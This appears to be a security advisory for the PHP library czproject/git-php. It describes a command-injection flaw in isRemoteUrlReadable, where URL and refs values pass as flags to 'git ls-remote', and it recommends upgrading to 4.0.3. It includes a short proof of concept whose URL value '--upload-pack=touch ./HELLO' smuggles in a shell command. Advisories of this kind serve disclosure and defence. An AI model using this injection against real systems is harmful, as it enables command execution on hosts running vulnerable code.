How to fix?

Upgrade czproject/git-php to version 4.0.3 or higher.

Overview

czproject/git-php is a Library for work with Git repository in PHP.

Affected versions of this package are vulnerable to Command Injection via git argument injection. When calling the isRemoteUrlReadable($url, array $refs = NULL) function, both the url and refs parameters are passed to the git ls-remote subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

<?php
require('./vendor/autoload.php');

$git = new CzProject\GitPhp\Git;

$url = "--upload-pack=touch ./HELLO";

$git->isRemoteUrlReadable($url, ["refs"]);

?>
